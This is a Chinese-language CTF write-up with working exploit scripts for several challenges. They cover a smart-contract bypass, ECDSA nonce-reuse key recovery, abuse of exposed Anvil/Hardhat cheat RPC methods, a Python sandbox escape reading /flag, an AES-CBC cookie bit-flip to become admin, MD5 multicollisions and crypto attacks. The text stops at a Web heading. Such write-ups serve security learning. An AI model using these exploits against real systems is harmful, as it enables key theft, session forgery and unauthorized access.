前言
就周日有时间解,解了一天,线上题目真的越来越难了,传统派根本解不动,就解出一半。
队伍ID:叁玖 总排名55名 公开赛道是33名


Misc
抄作业

信息收集
题目未提供合约源码,仅提供 RPC 接口、目标合约地址和玩家私钥。 首先通过 Web3 脚本从链上 dump 出目标合约的 Bytecode(字节码),并丢入 Dedaub 等反编译工具中分析。
608060405234801561000f575f80fd5b5060043610610034575f3560e01c80635e36bdc614610038578063aab2fcd214610068575b5f80fd5b610052600480360381019061004d91906101a4565b610084565b60405161005f91906101e9565b60405180910390f35b610082600480360381019061007d9190610235565b6100a0565b005b5f602052805f5260405f205f915054906101000a900460ff1681565b8082846100ad91906102b2565b146100ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e49061034d565b60405180910390fd5b60015f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6101738261014a565b9050919050565b61018381610169565b811461018d575f80fd5b50565b5f8135905061019e8161017a565b92915050565b5f602082840312156101b9576101b8610146565b5b5f6101c684828501610190565b91505092915050565b5f8115159050919050565b6101e3816101cf565b82525050565b5f6020820190506101fc5f8301846101da565b92915050565b5f819050919050565b61021481610202565b811461021e575f80fd5b50565b5f8135905061022f8161020b565b92915050565b5f805f6060848603121561024c5761024b610146565b5b5f61025986828701610221565b935050602061026a86828701610221565b925050604061027b86828701610221565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6102bc82610202565b91506102c783610202565b92508282026102d581610202565b915082820484148315176102ec576102eb610285565b5b5092915050565b5f82825260208201905092915050565b7f77726f6e670000000000000000000000000000000000000000000000000000005f82015250565b5f6103376005836102f3565b915061034282610303565b602082019050919050565b5f6020820190508181035f8301526103648161032b565b905091905056fea264697066735822122065ea027d1af02280488313e5fba02dae1169f7b75d02f59ba1a92bd682ba579764736f6c63430008140033
EVM Bytecode Decompiler | Dedaub Security Suite
反编译后发现合约内只有两个有效的函数选择器0x5e36bdc6,0xaab2fcd2

合约隐藏了两个入口,签名分别为 0x5e36bdc6 和 0xaab2fcd2。
在 0x5e36bdc6 的逻辑分支中,存在 CALLDATASIZE 校验,随后有一步 PUSH1 0xff 和 AND 的位运算。这表明该函数需要传入一个 uint8 类型的参数(范围 0-255)。
如果传入的参数与 Storage 中的值不匹配,程序会跳转并抛出 wrong 错误
核心分析
真正的状态修改通关函数是 0xaab2fcd2。 分析该函数对应的 Opcodes,关键指令包含 MUL(乘法)、DIV(除法)、EQ(相等)。其底层汇编逻辑还原为 Solidity 如下:
Solidity
function solve(uint256 a, uint256 b, uint256 c) public {
require(a * b == c, "wrong");
solved[msg.sender] = true;
}
逻辑非常简单:接收 3 个 uint256 参数,若满足 a * b == c 即可绕过 Require,将调用者的地址记录为已通关。
漏洞利用
无需爆破或猜测复杂参数,直接令参数为 a = 1, b = 1, c = 1 满足 1 * 1 = 1 的条件即可。 构造 Calldata: 0xaab2fcd2 + 1的十六进制(填充至32字节)连续拼接三次。 发包上链后,请求后端的 /api/solve 接口验证状态即可拿到 flag。
exp.py
import requests
from web3 import Web3
BASE_URL = "http://80-22d225ff-950e-4ade-944e-33c7f3c9f2fd.challenge.ctfplus.cn"
TARGET_ADDRESS = Web3.to_checksum_address("0x75537828f2ce51be7289709686A69CbFDbB714F1")
MY_ADDRESS = Web3.to_checksum_address("0x22b90354Da9A3ae22C28Cea132614C06Ff6E0fee")
PRIVATE_KEY = "0x700e42cb88665acc02845a856b4d140e792f4b3d95841a9c6be403603a215cc9"
w3 = Web3(Web3.HTTPProvider(f"{BASE_URL}/rpc"))
def exploit():
func_selector = "0xaab2fcd2"
arg = "0000000000000000000000000000000000000000000000000000000000000001"
attack_data = func_selector + arg * 3
tx = {
'nonce': w3.eth.get_transaction_count(MY_ADDRESS),
'to': TARGET_ADDRESS,
'value': 0,
'gas': 3000000,
'gasPrice': w3.eth.gas_price,
'data': attack_data,
'chainId': w3.eth.chain_id
}
signed_tx = w3.eth.account.sign_transaction(tx, private_key=PRIVATE_KEY)
raw_tx = getattr(signed_tx, 'raw_transaction', getattr(signed_tx, 'rawTransaction', None))
tx_hash = w3.eth.send_raw_transaction(raw_tx)
w3.eth.wait_for_transaction_receipt(tx_hash)
if __name__ == "__main__":
exploit()
res = requests.post(f"{BASE_URL}/api/solve", headers={'Content-Type': 'application/json'})
print(res.json().get('flag', 'Failed'))

xmctf{ead1808f-fe56-4dd4-8bc0-63f1006c73e0}
口算私钥



观察题目给出的目标地址在 Sepolia 测试网的历史交易,发现有两笔交易的 ECDSA 签名中,r 值完全相同。这表明签名者在对不同数据签名时使用了相同的随机数 k(Nonce 重用)。
计算私钥: 利用 secp256k1 椭圆曲线的数学缺陷,提取这两笔交易的 r, s1, s2 值,并重构原始未签名交易计算出哈希 z1, z2。 套用公式求出私钥 d:
$$
k = (z_1 – z_2) / (s_1 – s_2) pmod{n}
$$
$$
d = (s_1 cdot k – z_1) / r pmod{n}
$$
算出目标地址私钥为:
0xf149f149f149f149f149f149f149f149f149f149f149f149f149f149f149f149
链上交互: 将环境切换到题目提供的本地 RPC,使用算出的私钥调用目标合约 0x755378... 的 solve() 方法,将 isSolve 状态置为 true。交易打包确认后,点击 Check 即可拿到 flag。
exp.py
from web3 import Web3
from eth_account import Account
import warnings
warnings.filterwarnings("ignore")
RPC_SEPOLIA = "https://ethereum-sepolia-rpc.publicnode.com"
RPC_CTF = "http://80-bcef2609-4364-40c8-897f-ffaf777f2f87.challenge.ctfplus.cn/rpc"
w3_sepolia = Web3(Web3.HTTPProvider(RPC_SEPOLIA))
w3_ctf = Web3(Web3.HTTPProvider(RPC_CTF))
TARGET_CONTRACT = "0x75537828f2ce51be7289709686A69CbFDbB714F1"
TX_HASH_1 = "0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b"
TX_HASH_2 = "0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380"
TARGET_ADDRESS = "0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934"
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
def get_transaction_z(tx_dict):
tx_type = tx_dict.get('type', 0)
if tx_type == 2:
from eth_account._utils.typed_transactions import TypedTransaction
unsigned_dict = {
'chainId': tx_dict['chainId'],
'nonce': tx_dict['nonce'],
'maxPriorityFeePerGas': tx_dict['maxPriorityFeePerGas'],
'maxFeePerGas': tx_dict['maxFeePerGas'],
'gas': tx_dict['gas'],
'to': tx_dict['to'] if tx_dict.get('to') else b'',
'value': tx_dict['value'],
'data': tx_dict['input'],
'accessList': tx_dict.get('accessList', []),
}
typed_tx = TypedTransaction(transaction_type=2, dictionary=unsigned_dict)
return int.from_bytes(typed_tx.hash(), byteorder='big')
else:
from eth_account._utils.legacy_transactions import serializable_unsigned_transaction_from_dict
unsigned_dict = {
'nonce': tx_dict['nonce'],
'gasPrice': tx_dict['gasPrice'],
'gas': tx_dict['gas'],
'to': tx_dict['to'] if tx_dict.get('to') else b'',
'value': tx_dict['value'],
'data': tx_dict['input'],
}
if 'chainId' in tx_dict and tx_dict['chainId'] is not None:
unsigned_dict['chainId'] = tx_dict['chainId']
unsigned_tx = serializable_unsigned_transaction_from_dict(unsigned_dict)
return int.from_bytes(unsigned_tx.hash(), byteorder='big')
def mod_inverse(a, m):
return pow(a, -1, m)
tx1 = w3_sepolia.eth.get_transaction(TX_HASH_1)
tx2 = w3_sepolia.eth.get_transaction(TX_HASH_2)
r1 = int.from_bytes(tx1['r'], byteorder='big')
r2 = int.from_bytes(tx2['r'], byteorder='big')
s1 = int.from_bytes(tx1['s'], byteorder='big')
s2 = int.from_bytes(tx2['s'], byteorder='big')
z1 = get_transaction_z(tx1)
z2 = get_transaction_z(tx2)
k = ((z1 - z2) * mod_inverse(s1 - s2, N)) % N
d = ((s1 * k - z1) * mod_inverse(r1, N)) % N
hacked_private_key = hex(d)
hacked_account = Account.from_key(hacked_private_key)
if hacked_account.address.lower() != TARGET_ADDRESS.lower():
s1_neg = N - s1
k_neg = ((z1 - z2) * mod_inverse(s1_neg - s2, N)) % N
d_neg = ((s1_neg * k_neg - z1) * mod_inverse(r1, N)) % N
hacked_private_key = hex(d_neg)
hacked_account = Account.from_key(hacked_private_key)
abi = [{"inputs":[],"name":"solve","outputs":[],"stateMutability":"nonpayable","type":"function"}]
contract = w3_ctf.eth.contract(address=TARGET_CONTRACT, abi=abi)
nonce = w3_ctf.eth.get_transaction_count(hacked_account.address)
tx = contract.functions.solve().build_transaction({
'chainId': w3_ctf.eth.chain_id,
'gas': 100000,
'gasPrice': w3_ctf.eth.gas_price,
'nonce': nonce,
})
signed_tx = w3_ctf.eth.account.sign_transaction(tx, private_key=hacked_private_key)
tx_hash = w3_ctf.eth.send_raw_transaction(signed_tx.raw_transaction)
w3_ctf.eth.wait_for_transaction_receipt(tx_hash)

xmctf(97966753-507f-4c72-a131-a83f50fede9e)
Wrapped Ether


审查页面提供的 WrappedEther.sol 源码,发现 withdrawAll() 函数在更新余额(balanceOf[msg.sender] = 0)之前先执行了转账(sendEth),有重入漏洞。

但是,合约中存在 checkChallenger 修饰器,严格限制了调用者 msg.sender 必须是平台分配的 EOA(外部拥有账户)地址。EOA 账户没有代码,无法在接收到以太坊时触发 fallback 或 receive 进行二次调用。因此,重入应该一假的,常规的链上合约攻击无法生效。
漏洞
题目直接暴露了 /rpc 接口,底层环境通常由 Foundry (Anvil) 或 Hardhat 驱动。出题人如果没有对 RPC 方法进行严格的白名单过滤,测试网默认会开的 Cheat Codes。
利用
利用思路:直接跳过合约逻辑,通过 HTTP POST 请求向 RPC 发送 anvil_setBalance 或 hardhat_setBalance 方法,将目标 WETH 合约的余额强制篡改为 0,从而直接满足 Setup.sol 中 isSolved() 的通关条件。
exp.py
import requests
from web3 import Web3
import time
BASE_URL = "http://80-567f608a-3866-446e-b286-0048279b3dcf.challenge.ctfplus.cn"
RPC_URL = f"{BASE_URL}/rpc"
API_URL = f"{BASE_URL}/api/solve"
TARGET_WETH = "0xCafac3dD18aC6c6e92c921884f9E4176737C052c"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
payload_anvil = {
"jsonrpc": "2.0",
"method": "anvil_setBalance",
"params": [TARGET_WETH, "0x0"],
"id": 1
}
payload_hardhat = {
"jsonrpc": "2.0",
"method": "hardhat_setBalance",
"params": [TARGET_WETH, "0x0"],
"id": 2
}
try:
requests.post(RPC_URL, json=payload_anvil)
except:
pass
try:
requests.post(RPC_URL, json=payload_hardhat)
except:
pass
time.sleep(1)
if w3.eth.get_balance(TARGET_WETH) == 0:
response = requests.post(API_URL, headers={'Content-Type': 'application/json'})
print(response.json().get('flag'))

xmctf{81e9c88d-05ce-48be-8359-dcfa5e77a0fa}
ModelMark


服务端会随机生成一个前缀(例如 58B3v9),要求你提交一个字符串 x,使得 前缀 + x 的 SHA256 哈希值以指定的字符(如 0000)开头, 解出还有第二关

考点
PoW 验证绕过:通过 SHA256 哈希爆破满足指定前缀,文本分类/机器学习
利用给定的 dataset_train.json 进行模型归属预测。由于服务端下发的数据会带有 <think> 标签或排版变动,单纯的哈希或等值匹配会失效,需要提取字符级特征并使用 SVM 进行分类识别。
解题思路
连接与 PoW:nc 连上后,提取前缀,本地循环计算 sha256(prefix + x),满足条件后提交 x。
数据预处理与模型训练:
读取本地 JSON 数据集。
构建一个纯文本字典(去除所有空格、换行),用于精准匹配原题,保证 100% 准确率。
构建一个机器学习分类器(TF-IDF + LinearSVC)。提取 3-5 个字符长度的特征(能精准捕捉大模型特有的 </think> 标签或排版习惯),使用完整数据集进行训练,用于兜底预测服务端动态生成的变种回答。
自动答题逻辑:通过正则提取服务端的 Answer 和选项列表。先查字典,查不到则走 SVM 预测,将预测结果对应的数字选项发回服务端。外层套一个 while True,即便中途预测错断开连胜,也会自动重试,直到连续答对 8 题刷出 flag。
exp.py
import json
import hashlib
import re
import sys
from pwn import *
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.svm import LinearSVC
from sklearn.pipeline import make_pipeline
def solve_pow(prefix, target="0000"):
for i in range(10000000):
x = str(i)
if hashlib.sha256((prefix + x).encode()).hexdigest().startswith(target):
return x
return None
def normalize(text):
return re.sub(r's+', '', text)
def train_hybrid_model(filepath):
with open(filepath, 'r', encoding='utf-8') as f:
data = json.load(f)
exact_match_db = {}
X = []
y = []
for item in data:
ans = item['answer']
mod = item['model']
exact_match_db[normalize(ans)] = mod
X.append(ans)
y.append(mod)
clf = make_pipeline(TfidfVectorizer(analyzer='char', ngram_range=(3, 5)), LinearSVC(C=1.0))
clf.fit(X, y)
return exact_match_db, clf
def main():
host = 'nc1.ctfplus.cn'
port = 21819
dataset_file = 'dataset_train.json'
exact_match_db, classifier = train_hybrid_model(dataset_file)
r = remote(host, port)
r.recvuntil(b"sha256(")
prefix = r.recvuntil(b" + x)", drop=True).decode()
r.recvuntil(b"starts with ")
target = r.recvline().strip().decode()
x = solve_pow(prefix, target)
r.recvuntil(b"x = ")
r.sendline(x.encode())
buffer = ""
while True:
try:
chunk = r.recv(1024).decode('utf-8', errors='ignore')
if not chunk:
break
buffer += chunk
sys.stdout.write(chunk)
sys.stdout.flush()
if "xmctf{" in buffer.lower() or "flag{" in buffer.lower():
break
if "> " in buffer and "Which model?" in buffer:
ans_match = re.search(r'Answer:s*(.*?)s*Which model?', buffer, re.DOTALL)
if ans_match:
answer_raw = ans_match.group(1).strip()
options = {}
for line in buffer.split('n'):
line = line.strip()
if ')' in line and ' ' in line:
parts = line.split(')', 1)
if len(parts) == 2 and parts[0].isdigit():
options[parts[1].strip()] = parts[0].strip()
ans_norm = normalize(answer_raw)
if ans_norm in exact_match_db:
predicted_model = exact_match_db[ans_norm]
else:
predicted_model = classifier.predict([answer_raw])[0]
choice_num = options.get(predicted_model)
if choice_num:
r.sendline(choice_num.encode())
else:
r.sendline(b"1")
buffer = ""
except Exception:
break
if __name__ == "__main__":
main()

xmctf{fb30c811-f64a-4543-a4da-8f8d2bd336d4}
ez_pyjail
不像Misc 这不就是Web吗?


代码:
assert ascii(x)[1:-1] != x.replace("__","")[:105], run_jail(x)
eval(x, {'__builtins__':{}}, {'__builtins__':{}})
触发执行:必须让 assert 断言失败(左右两边相等)才能执行后半截的 run_jail。
限制条件:
payload 长度不能超过 105。
不能包含双下划线 __。
只能包含纯 ASCII 字符且单双引号不能混用(防止 ascii() 转义导致长度/内容不一致)。
沙箱环境:eval 的 globals 和 locals 置空,无 __builtins__。
逃逸思路
恢复 builtins:利用生成器对象的帧栈 gi_frame.f_back.f_back.f_builtins 跳出受限作用域,拿到原生 builtins。
规避 Python 3.11+ 帧优化:在 3.11+ 中,未运行的生成器 f_back 为 None。构造自迭代生成器 (l:=[]).append(... for i in l),让生成器在运行的瞬间抓取自身的帧。
无内置函数触发执行:沙箱内无 next 或 list 函数。利用星号解包 [*...] 强制展开生成器触发代码执行。
报错带出(回显盲注):run_jail 无输出。利用字典键错误 {}[payload],将读出的 flag 作为不存在的键名,触发 KeyError 把 flag 抛到 stderr。
Payload
极限压缩,最终读取 /flag 的 payload 长度为 104(满足 <=105)
{}[[*((l:=[]).append(i.gi_frame.f_back.f_back.f_builtins['open']('/flag').read()for i in l)or l[0])][0]]
自动交互exp
from pwn import *
def pwn():
host = 'nc1.ctfplus.cn'
port = 35140
io = remote(host, port)
io.recvuntil(b"payload:")
payload = "{}[[*((l:=[]).append(i.gi_frame.f_back.f_back.f_builtins['open']('/flag').read()for i in l)or l[0])][0]]"
io.sendline(payload.encode())
try:
res = io.recvall(timeout=3).decode('utf-8', errors='ignore')
print(res.strip())
except:
pass
finally:
io.close()
if __name__ == '__main__':
pwn()

xmctf{29f349b9-a1b8-44b5-abcd-97ef37cf4c5f}
问卷收集


PolarisCTF{Y0u_4r3_th3_n3xt_P0lar1s_St4r}
Crypto
ECC


奇异椭圆曲线 尖点 降阶同构
题目给定的椭圆曲线加法和倍点公式中 a=0,对应曲线方程为:
$$
y^2 + cy equiv x^3 + bx^2 + dx + e pmod p
$$
$$
对左侧进行配方,令 Y = y + frac{c}{2} pmod p,方程转化为短 Weierstrass 形式:
$$
$$
Y^2 equiv x^3 + bx^2 + dx + (e + frac{c^2}{4}) pmod p
$$
检查右侧多项式 f(x)。如果它存在三重根 r
$$
即 f(x) = (x-r)^3
$$
则该曲线为带尖点的奇异曲线。根据
$$
(x-r)^3 = x^3 – 3rx^2 + 3r^2x – r^3
$$
可以直接求出根
$$
r equiv -b cdot 3^{-1} pmod p
$$
对于带尖点的奇异曲线,由于其非奇异点群同构于有限域的加法群
$$
(mathbb{F}_p, +)
$$
常规的 ECDLP 被彻底破坏。同构映射映射公式为:
$$
phi(x, y) = frac{x – r}{y + c/2} pmod p
$$
在加法群中,P = mG 等价于
$$
phi(P) equiv m cdot phi(G) pmod p
$$
因此,计算
$$
phi(P) 与 phi(G) 后
$$
直接在模 p下求逆即可得到私钥 m:
$$
m equiv phi(P) cdot phi(G)^{-1} pmod p
$$
exp.py
from Crypto.Util.number import inverse, long_to_bytes
p = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649
b = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493
c = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760
G = (1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156, 4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009)
P = (9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906, 6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694)
c_inv2 = (c * inverse(2, p)) % p
r = (-b * inverse(3, p)) % p
def phi(pt):
x, y = pt
X_num = (x - r) % p
Y_den = (y + c_inv2) % p
return (X_num * inverse(Y_den, p)) % p
t_G = phi(G)
t_P = phi(P)
m = (t_P * inverse(t_G, p)) % p
print(long_to_bytes(m).decode('utf-8'))

xmctf{A_s1ngu14r_Curv3_15_n0t_s3cur3!}
ez_login

有源码审计代码
None == None 绕过

USERS 字典初始只有 admin。当我们传入一个不存在的用户名(如 bdmin),USERS.get('bdmin') 返回 None。同时,如果我们在 POST 请求中故意不传 password 字段,pw 也会是 None。判断条件变为 None == None,校验通过,系统会为我们下发 user=bdmin 的合法 Session。
AES-CBC 字节翻转攻击

Session 直接由 IV + 密文 拼接而成,没有任何 MAC(如 HMAC)进行完整性校验。在 AES-CBC 解密模式下,解密第一个块时,密文解密后的中间值会与 IV 进行异或得到明文。
由于我们可以控制 IV,且已知明文结构为 user=bdmin,只需篡改 IV 的第 6 个字节(索引 5),将其异或 'b' 再异或 'a',就能在服务端解密时将 bdmin 翻转成 admin。
思路
构造 username=bdmin 且无 password 参数的请求,骗取有效 Token。
将 Token 解码为字节,分离前 16 字节的 IV 和后续密文。
对 IV 的 index=5 位置执行异或:IV[5] ^ ord('b') ^ ord('a')。
重新拼接转为 hex,带上新 Cookie 请求首页即可拿到 flag。
手动



ed7db19af55622792f202ee4d09d6d824ba13f67e095e459c9e2eb08678c5050
翻转后的新 Cookie
ed7db19af55522792f202ee4d09d6d824ba13f67e095e459c9e2eb08678c5050
原 token 前 16 字节是 IV,第 6 个字节为 56。把它跟 b 和 a 进行异或:0x56 ^ ord('b') ^ ord('a'),结果正好变成了 55。)

然后翻转就行了

exp.py
import requests
import re
url = "http://nc1.ctfplus.cn:34025"
def exploit():
session = requests.Session()
session.post(f"{url}/login", data={"username": "bdmin"}, allow_redirects=False)
cookie = session.cookies.get("session")
if not cookie:
return
token_bytes = bytes.fromhex(cookie)
iv = bytearray(token_bytes[:16])
ct = token_bytes[16:]
iv[5] = iv[5] ^ ord('b') ^ ord('a')
forged_token = (iv + ct).hex()
final_response = requests.get(f"{url}/", cookies={"session": forged_token})
match = re.search(r"xmctf{.*?}", final_response.text, re.IGNORECASE)
if match:
print(match.group(0))
if __name__ == "__main__":
exploit()
xmctf{c8a3a4e9-fb08-47d1-acf7-77cc5c8d967e}
truck

有附件是一个MD5碰撞的题目

题目给出了一段基于 MD5 哈希碰撞的检验逻辑,规则如下
循环 10 轮:每轮要求输入 9 个不同的十六进制字符串(A 到 I)。
多级碰撞限制:
第一层:要求 MD5(A) == MD5(B) == MD5(C),设其摘要结果为 ha。
第二层:要求拼接前缀后碰撞,MD5(ha + D) == MD5(ha + E) == MD5(ha + F),设结果为 hd。
第三层:继续拼接前缀,MD5(hd + G) == MD5(hd + H) == MD5(hd + I)。
全局去重:这 10 轮中提交的所有 90 个输入,必须全局唯一(assert not any(x in S for x in cur))。
MD5 多重碰撞
直接用 fastcoll就行
10轮 × 每轮3个 = 30 个不重复的输入。32 个 payload 刚好满足需求。
题目第二、三层的输入前缀是前一次的 MD5 摘要结果(16 字节)。为了让 fastcoll 正常工作且不影响内部的 padding 状态,我们需要把这 16 字节的前缀补齐到完整的 64 字节块。
做法很简单:用 48 字节的 x00 填充。即令 刚好是 64 字节,可以直接送进 fastcoll 跑碰撞。
fastcoll.exe,与 exp 放在同一目录下。
第一组 (A,B,C):直接给 64 字节的 x00 当初始前缀,连续跑 5 次 fastcoll 生成 32 个 payload,取前 30 个。
第二组 (D,E,F):取第一组跑出来的 MD5 摘要 ha$(16字节) + 48字节 x00 作为前缀,再跑 5 次生成 32 个 payload。
第三组 (G,H,I):取第二组的摘要 hd + 48字节 x00 作为前缀,同样跑 5 次生成 32 个。本地预计算完所有 90 个 payload 后,连接服务器一次性打过去拿 flag。
exp.py
import os
import subprocess
import itertools
from hashlib import md5
from pwn import remote, context
context.log_level = 'info'
def get_multicollisions(prefix_bytes, num_blocks=5):
blocks = []
current_prefix = prefix_bytes
exe_name = 'fastcoll.exe' if os.name == 'nt' else 'fastcoll'
fastcoll_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), exe_name)
if not os.path.exists(fastcoll_path):
fastcoll_path = exe_name
for i in range(num_blocks):
with open('prefix.bin', 'wb') as f:
f.write(current_prefix)
subprocess.run(
[fastcoll_path, '-p', 'prefix.bin', '-o', 'out1.bin', 'out2.bin'],
check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
with open('out1.bin', 'rb') as f: m1 = f.read()
with open('out2.bin', 'rb') as f: m2 = f.read()
blocks.append((m1[-128:], m2[-128:]))
current_prefix = m1
suffixes = []
for combo in itertools.product(*blocks):
suffixes.append(b''.join(combo))
return suffixes
def main():
prefix_1 = b'x00' * 64
sufs_1 = get_multicollisions(prefix_1, 5)
blocks_1 = [prefix_1 + suf for suf in sufs_1]
ha = md5(blocks_1[0]).digest()
pad48 = b'x00' * 48
prefix_2 = ha + pad48
sufs_2 = get_multicollisions(prefix_2, 5)
blocks_2 = [pad48 + suf for suf in sufs_2]
hd = md5(ha + blocks_2[0]).digest()
prefix_3 = hd + pad48
sufs_3 = get_multicollisions(prefix_3, 5)
blocks_3 = [pad48 + suf for suf in sufs_3]
for f in ['prefix.bin', 'out1.bin', 'out2.bin']:
if os.path.exists(f): os.remove(f)
r = remote('nc1.ctfplus.cn', 30531)
for i in range(10):
A, B, C = blocks_1[i*3], blocks_1[i*3+1], blocks_1[i*3+2]
D, E, F = blocks_2[i*3], blocks_2[i*3+1], blocks_2[i*3+2]
G, H, I = blocks_3[i*3], blocks_3[i*3+1], blocks_3[i*3+2]
r.sendlineafter(b'A > ', A.hex().encode())
r.sendlineafter(b'B > ', B.hex().encode())
r.sendlineafter(b'C > ', C.hex().encode())
r.sendlineafter(b'D > ', D.hex().encode())
r.sendlineafter(b'E > ', E.hex().encode())
r.sendlineafter(b'F > ', F.hex().encode())
r.sendlineafter(b'G > ', G.hex().encode())
r.sendlineafter(b'H > ', H.hex().encode())
r.sendlineafter(b'I > ', I.hex().encode())
r.interactive()
if __name__ == '__main__':
main()

xmctf{96e7bafb-0d65-43bc-911f-bebb99b86f12}
sda


题目给出了三组已知参数
$$
A_i 和 B_i。由于 A_i 的数值不大(约137位)
$$
可以直接分解质因数并求出欧拉函数
$$
phi(A_i)
$$
加密在于下面这个等式和约束:
$$
B_i x_i^2 – y^2 phi(A_i) = z_i
$$
$$
题目明确限制了z_i是一个极小值(量级在A^{1/4}左右)。最后,脚本将y^2 + x_1^2 x_2^2 x_3^2的结果作为种子生成 AES 密钥
$$
对 flag 进行了 CBC 模式加密
思路
$$
令 X_i = x_i^2,Y = y^2。既然 z_i 极小
$$
这就可以转化为一个寻找格中短向量的问题。 为了让矩阵各列的数值范围平衡
$$
因为 z_i 的界约等于 A^{1/4} cdot Y
$$
我们需要给 Y对应的列乘上一个权重
$$
W approx A_1^{1/4}
$$
构造基础格矩阵如下:

用 LLL 算法对矩阵进行规约后,提取出短向量,再乘回原矩阵的逆矩阵,就能剔除权重,直接还原出 Y 和对应的 X1, X2, X3。最后恢复 AES 密钥解密即可。
exp.sage
from sage.all import *
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
A1 = 234110215243875326749544596075512335544257
B1 = 68765596672109672407420253033782942222910
A2 = 636185906634748653451789798738597280632127
B2 = 131860738134887128678021271054606611917493
A3 = 905712574946398586494048707872100065355613
B3 = 197958111431918701470218006359610095848736
As = [A1, A2, A3]
Bs = [B1, B2, B3]
phis = []
for Ai in As:
p, q = factor(Ai)
phis.append((p[0] - 1) * (q[0] - 1))
W = int(A1**(1/4))
M = Matrix(ZZ, [
[W, -phis[0], -phis[1], -phis[2]],
[0, B1, 0, 0],
[0, 0, B2, 0],
[0, 0, 0, B3]
])
L = M.LLL()
for row in L:
WY = abs(row[0])
if WY != 0 and WY % W == 0:
Y = WY // W
v = Matrix(QQ, 1, 4, list(row))
try:
res = v * M.inverse()
except:
continue
Y_cand = abs(res[0, 0])
X1 = abs(res[0, 1])
X2 = abs(res[0, 2])
X3 = abs(res[0, 3])
if Y_cand == Y and X1.denominator() == 1 and X2.denominator() == 1 and X3.denominator() == 1:
Y_val = ZZ(Y_cand)
X1_val = ZZ(X1)
X2_val = ZZ(X2)
X3_val = ZZ(X3)
key_material_int = Y_val + X1_val * X2_val * X3_val
key_material_bytes = long_to_bytes(int(key_material_int))
aes_key = hashlib.sha256(key_material_bytes).digest()[:16]
hex_data = "93192f46a00b2dade984ca758706b00681263a8536d8051aff0206d257ce4c2aad6bc017138d4c7aeaed5c8fc2c1ea2f3cec3fbd9201bb5844fa8143d6630944"
iv = bytes.fromhex(hex_data[:32])
ciphertext = bytes.fromhex(hex_data[32:])
cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
try:
pt = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(pt.decode())
break
except ValueError:
continue

xmctf{1f1f595c6849030aad5eee38f856d8ff}
神秘学


RSA加解密反转:题目中的
$$
e = inverse(c, (p-1)*(q-1))
$$
说明参数 c 实际上是用来解密的私钥指数,只要算出 c 就能直接
pow(cipher, c, n) 解密。
多项式量级差还原:题目给出了求导后的值
$$
deriv1_num = 3x1^2 – 2a1x1 + b1
$$
转换一下公式得到:
$$
a1 = (3x1^2 – deriv1_num + b1) / (2x1)
$$
由于 x1 是 512 位的大数,而 b1 只有 120 位,分式 `b1 / (2x1)的值极小,趋近于0。因此可以直接用整除 $$ a1 ≈ (3*x1^2 - deriv1_num) // (2*x1) $$ 还原出a1` 的值。
隐式条件反推:代入 a1 算出精确的 b1 后,利用隐式条件 poly(x1) = 0 反推
$$
x1^3 – a1x1^2 + b1x1 – k*n
$$
配合爆破 8 位的素数 k 即可拿到真实的 c
exp.py
from Crypto.Util.number import long_to_bytes, isPrime
n = 63407394080105297388278430339692150920405158535377818019441803333853224630295862056336407010055412087494487003367799443217769754070745006473326062662322624498633283896600769211094059989665020951007831936771352988585565884180663310304029530702695576386164726400928158921458173971287469220518032325956366276127
x1 = 3481408902400626584294863390184557833125008467348169645656825368985677578418186933223051810792813745190000132321911937970968840332589150965113386330575858
deriv1_num = 36360623837143006554133449776905822223850034204333042340303731846698251185379183585401025894584873826284649058526470710038176516677326058549625930550928515944115160614909195746688504416967586844354012895944251800672195553936202084073217078119494546421088598245791873936703883718926122761577400400368341859847
cipher = 17359360992646515022812225990358117265652240629363564764503325024700251560440679272576574598620940996876220276588413345495658258508097150181947839726337961689195064024953824539654084620226127592330054674517861032601638881355220119605821814412919221685287567648072575917662044603845424779210032794782725398473
def solve():
x1_sq = x1 * x1
x1_cb = x1_sq * x1
primes = [i for i in range(2, 256) if isPrime(i)]
for k in primes:
num_lower = (2**119) - deriv1_num + 3 * x1_sq
num_upper = (2**120) - deriv1_num + 3 * x1_sq
den = 2 * x1
low_a1 = (num_lower + den - 1) // den if num_lower > 0 else 0
up_a1 = num_upper // den
start = max(2**119, low_a1)
end = min(2**120, up_a1)
if start <= end:
for a1 in range(start, end + 1):
if 2**119 <= a1 <= 2**120:
b1 = deriv1_num - 3 * x1_sq + 2 * a1 * x1
if 2**119 <= b1 <= 2**120:
c = x1_cb - a1 * x1_sq + b1 * x1 - k * n
if c > 0:
try:
m = pow(cipher, c, n)
flag = long_to_bytes(m).decode('utf-8', errors='ignore')
if 'xmctf{' in flag.lower():
print(flag)
return
except Exception:
pass
if __name__ == '__main__':
solve()

xmctf{e6d787beb9230217e692e130f718cdeb}
Web
only real

